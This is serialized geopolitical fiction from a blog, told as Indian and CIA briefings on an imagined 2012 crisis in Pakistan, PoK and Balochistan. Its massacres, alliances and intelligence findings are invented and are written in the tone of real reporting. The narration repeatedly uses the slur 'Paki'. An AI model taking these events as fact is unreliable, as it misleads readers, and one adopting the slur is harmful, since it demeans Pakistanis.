Beg can also postpone the elections , impose martial law and cut the wings of Asgar by arrest or other means. On the other hand, if Beg dies, power is still in hands of civilian government and they can demote or dismiss Asgar. But I seriously doubt that Asgar and his Chinese allies will let it happen.”

“So, what does it mean for us ?”

“In case of a civil war, anything from terrorist strikes to a full blown war to deflect the attention. Threat of a nuclear attack blamed a rogue commander or terrorists is very likely. Chinese will surely
try to take advantage of the situation. “

“ A stable Pakistan is in our interests after all !” DM remarked bitterly.

“I dare say it's not. If we play our cards right, we can use the instability in Pakistan to cut down China to it's size as well as rid ourselves of the shackles of terrorism and nuclear blackmail that
these two threaten us with.” Angad responded eagerly to a approving nod from the army chief, General Zoravar Singh.

“ Interesting”. DM replied, “What are our options ? ”

“ I believe our service chiefs already have a plan that they can explain much better than me “

PM turned to the 3 chiefs who so far had been listening to every word intently and spoke, “ Lets hear it gentlemen.”

All 3 chiefs shared glances with each other and nodded a silent agreement . General Zoravar Singh leaned forward on his chair and began explaining their battle plans to a fully attentive audience.

Monday, December 6, 2010

War Scenario Part V

(Part IV)

19:00 Hours
PM House
New Delhi, India

Meeting between Indian PM, all Chiefs of Army, Navy, Air Force, NSA, and defence minister was already in progress when Home Minister rushed in to the building closely followed by his aide who was stopped at the door by the security guard. "Sorry sir, but we can't allow your companion in. He'll have to wait outside in the lobby till the meeting is over. Orders from above"

HM paused for a moment to argue with the guard but then shrugged and went in himself alone to the secure conference room where NSA chief, Angad was debriefing PM and other participants on current situation in Pakistan. Everybody paused for a moment when HM entered. Indian PM signaled him to take seat on the nearest available empty chair and said, “Got held up somewhere Purohit ji? Angad had just started explaining to us the current situation in Pakistan. I believe that you haven't missed anything that you already didn't know." and motioned NSA chief to continue.

"As I was saying, Pakistani politics is currently divided in to numerous camps. But the biggest ones that we need to monitor are the Naqvi-Beg and Asgar-Akhtar alliances. They are being backed up by USA and China respectively. Also there are some minor political groups like MQM, PML (Q), and ANP etc. But their role and influence is comparatively minor. In addition to these mainstream parties, there are numerous jihadi tanzeems (organisations) that we monitor. Some are pro-government, others anti and still many others declare their allegiances on case by case basis. Without any major exceptions, they all sympathise or cooperate with Taliban, Al Qaida and are one of the major support bases for these terrorist organisations.

Beg's renewed cooperation with US in war against terrorism has been a mixed bag for them. Even though, they've suffered lost many senior leaders by means of arrests and even killings, their wide support base and help from closet jihadis in Pak establishment, especially Army ensures that their work continues unhindered. Our intelligence sources suggest that General Asgar has close links with many of these organisations and employs their cadre for his dirty work.

Apart from this, there are two other factors that we can't afford to miss. First one is Balochistan and second is Pak Occupied Kashmir. Both regions are in serious turmoil directly due to Chinese.

Of the two, it's POK that concerns us the most as its Indian territory illegally occupied by Pakistan and now being swamped with thousands of Chinese soldiers and workers. In early 2010, Pakistan allowed China to start building a massive network of roads, railway tracks and pipelines through the region connecting the two countries. Chinese hope to safe-guard their energy routes by using this line as it gives them a direct land-route to the Arabian Sea and Gwadar port. This way, they can avoid the longer and potentially less reliable route through Straits of Malacca. They have already started negotiations with Iran, Saudi Arab and some African countries to route their shipments, oil and gas through this port. Pakistanis also hope to benefit from this and have extended their full cooperation. In fact we have intelligence which proves that Chinese have been using at least 2 army and 1 air strip in POK to move in their supplies and as storage dumps.
Satellite pictures show construction of at least 4 permanent colonies where no civilian Pakistani is allowed. Each one of these colonies has one or more heli-pads and heavily armed guards on 24x7 watch. 2 of these colonies and military bases are less than 80 km from Line Of Control and can be used to launch a surprise attack against us within a hour's notice.

Not only that, there are dozens of terrorist training camps in the vicinity, some of them in direct control of ISI and Paki army. It's a very dangerous situation for us. Chinese presence in this area means that if we decide to take any action against these terrorist camps in nearby future, Chinese can get in the way. We have reports from multiple sources that Pakistanis have been planning a big terrorist attack in India very soon and I have a gut feeling that Chinese presence in this area will definitely come into play some way or the other.

But the locals of that area are playing spoil-sport with Paki-Chinese plans. They allege that Chinese activities have destroyed their farms, polluted rivers and uprooted 100s of villages. 3 out of 4 colonies are on the land belonging to the locals and they allege that they were paid insufficient compensation and in many cases, none at all. There have been many reports of protests being held by the affected villagers against the Chinese but Pakistani government has been able to hush it up.

Chinese have responded by kidnapping, torturing and even killing some of the more troublesome protesters. Right now, the region is witnessing serious unrest and almost daily confrontations between the locals and Chinese. High handedness of Chinese in dealing with protesters is starting to look like Soviet actions in Afghanistan. Pakistanis have been turning a blind eye to this, as the affected areas are mostly inhabited by ethnic Shias.

As for Balochistan, people are faring no better there either. By and large, Balochis are moderate muslims but some groups do have links with terrorist groups in Afghanistan. Balochis grievances are that the Punjabi and Sindhi dominated army and government are interested in exploiting natural resources of the region all the while treating them as 3rd rate citizens.
Construction of Gwadar port without any involvement or economic benefit to the locals is the latest and just one of the very long list of grievances that they hold against Pakistani government.Balochis have been fighting a bloody war against Pakistani establishment for a long time. Pakistani army has used everything in it's arsenal ranging from heavy artillery, air strikes and covert missions to put down the rebellion, but hardy Balochis have kept the resistance alive. But the entry of Chinese in to the theater has changed the situation for worse.

As I explained earlier, Gwadar port is supposed to be an important point in the new energy route for Chinese and they've invested billions of dollars in it. Common sense dictates that construction of such a massive port, transport routes, pipeline will result in large scale employment of locals and generation of goodwill for the investors. But Chinese kind of screwed up on this one too by employing Chinese workers and engineers for construction as well as daily operations of the port. Instead of helping locals by creation of employment opportunities, Chinese actions, in the area have in fact caused same repercussions as in PoK.

Skirmishes between the Chinese and Balochis have already started in earnest. One of the latest cause of conflict is the oil-gas pipeline that Chinese are constructing from Gwadar to China through POK. Balochis forced the work on pipeline to be halted when they came to know that it'll pass through the pastures and native village of leader of one of the most powerful nationalist Baloch leaders, Gaffar Khan of Baloch Nationalist Liberation Front. Negotiations between Chinese and Khan broke down over the compensation being offered by Chinese. Pakistanis intervened in their usual high-handed manner by arresting another senior leader and torturing him in custody.

Enraged Balochis responded by ambushing the army convoys passing through the area and destroying any Chinese construction vehicle and material they could lay their hands upon. Unfortunately, situation was exacerbated when Chinese alleged that two of their unarmed workers died in the attack. A joint Pakistani and Chinese assault force then attacked 3 villages killing atleast 57 people, 21 of them women and destroying numerous houses. Next day, son and pregnant daughter-in-law of Khan went missing while on road to her parent's house. Their badly burned bodies were found 2 days later around 2 km off the road. Nobody took responsibility, but that incident closed the lid on any possible reconciliation effort.

Since then, a savage fight has been going on between Balochis and Paki-Chinese army with the latter using helicopter gunships and heavy artillery to raze down whole villages. Balochis have suffered high causalities, but they've managed to halt all construction work and supply lines to the Gwadar port through most of the area.

This conflict has forced Chinese to look for an alternate route that first follows the coastal highway connecting Gwadar to Karachi, then roughly follow either Indus or General Trunk Highway upto Islamabad and from there to occupied Kashmir. But this alternate route is much closer to the Indo-Pak border and within our easy striking distance. Further, they have already invested billions in mapping and construction of the route through Balochistan. Such drastic change of plans at this time will not only increase the operational cost of the project but also cause unacceptable delay.

For the moment, they are trying their level best to find a way out in Balochistan, but I doubt if Balochis will oblige. They know that even if they manage to quell the rebellion, nothing short of a genoicde and complete ethnic cleansing will ensure safety of their route from sabotage in future.
All these facts are explained in detail with maps in the reports that I've placed in frotn of you. You're welcome to ask any questions.”

Friday, November 26, 2010

Scenario. Part IV

Previous Post (Part III)

18:00 Hours

26 Oct 2012

CIA Headquarters

Langley, USA

Bill Cosby, CIA's South Asia specialist was still going over his notes when a disheveled CIA chief Richard Cobain walked in to the meeting room. He slumped into a chair closest to the door and just lay their with his eyes closed. After a while he opened his eyes and said in a tired voice, " What are we dealing with here ? Any idea who did this ?"

" 4 different groups, 2 each based in Pakistan and Afghanistan have claimed responsibility for the attack till now. To soon to confirm anything" Cosby replied

"I don't care whats being shown on TV. Who really did it ?"

"There are so many players in this game that it's almost impossible to point out the culprit without any good piece of evidence."

Richard replied in exasperated tone of voice, " For Christ's sake, I have to brief the president within 2 hours over this incident. What am I supposed to tell him ? Do you want me to report that even after spending billions of dollars on gizmos, spooks and buying loyalties, we don't have any information on who very nearly killed the president of our nuclear armed ally ? "

Sergey Page, a senior analyst replied tentatively, "Actually we do have something that might prove interesting, but we are still missing some pieces of the puzzle. We have evidence of some kind of alliance between PML(N) led by Wasim Akhtar , General Asgar and the Chinese. A large number of PML(N) men have recently received weapons and training from people who we believe work for Pakistani army. We are not exactly sure how this bombing incident will help Wasim Akhtar, but weakening of PPP can pave the way for General Asgar to become even more powerful. But, the thing that's really worrying me is involvement of Chinese "

"What do you mean? "

" Chinese have been secretly propping up General Asgar as their man in Pakistan for quite some time now. After Beg started cooperating with us against Taliban and Al Qaida terrorists, only way he could survive in Pakistan was with our help. Also, our attacks on their strongholds in Af-Pak region forced many terrorists to move to safer places, most prominent being muslim majority Chinese province Xinjiang. Recent resurgence of "civil unrest" in Xinjiang is indirectly due to our improved intelligence and tactics in Af-Pak".
Page paused for breath and then continued, " For Chinese, somebody they can control will be a much better asset than the current regime headed by Beg. He was supposed to step down from post of army chief last year and hand over the reigns to Asgar, but he pulled a fast one by getting himself a 3 years extension. Now, Asgar has no chance of becoming army chief unless something drastic happens. "

"Drastic like assassination of Naqvis?" Cobain half-inquired under his breath.

Page replied, "Possibly yes. General Asgar is a very resourceful and ambitious man. We suspect that he stuck a deal with Chinese according to which he'll use their influence to gain power in exchange for crackdown on supporters of Uighur separatists in Af-Pak and possibly needling India. His dependence on Chinese must have increased even more after Beg's newest extension.
We had no choice except to help Beg prolong his tenure. We really need his cooperation in our war against terror and only man senior enough to take his place, Asgar was on our list of suspected terrorist sympathisers in Pakistani defence forces that we handed over to Musharraf after 9/11. His links with Chinese and radical Islamists make him very unreliable and detrimental to our interests in the region. In fact, we have proof of his involvement with some militant Islamist groups that we are fighting. Some telephone intercepts suggest that these groups have been attacking PPP cadre on his instructions. "

" Do you have any concrete evidence to prove involvement of Asgar and Chinese in this ?" Richard asked sharply.

Page was unruffled, " Not yet sir. We do have bits and pieces of evidence that points to some kind of alliance between Asgar, Wasim and Chinese. But nothing that'll prove their involvement with this bombing."

"Great ! Less than 90 minutes before my conference with President, Joint Chief of staff and other biggies start and I have nothing to put on table except wild theories." A frustrated Richards addressed to no one in particular. " Well, gentlemen. . From now on, presentation of some solid evidence to back up any theory will be highly appreciated. Thanks for your time."

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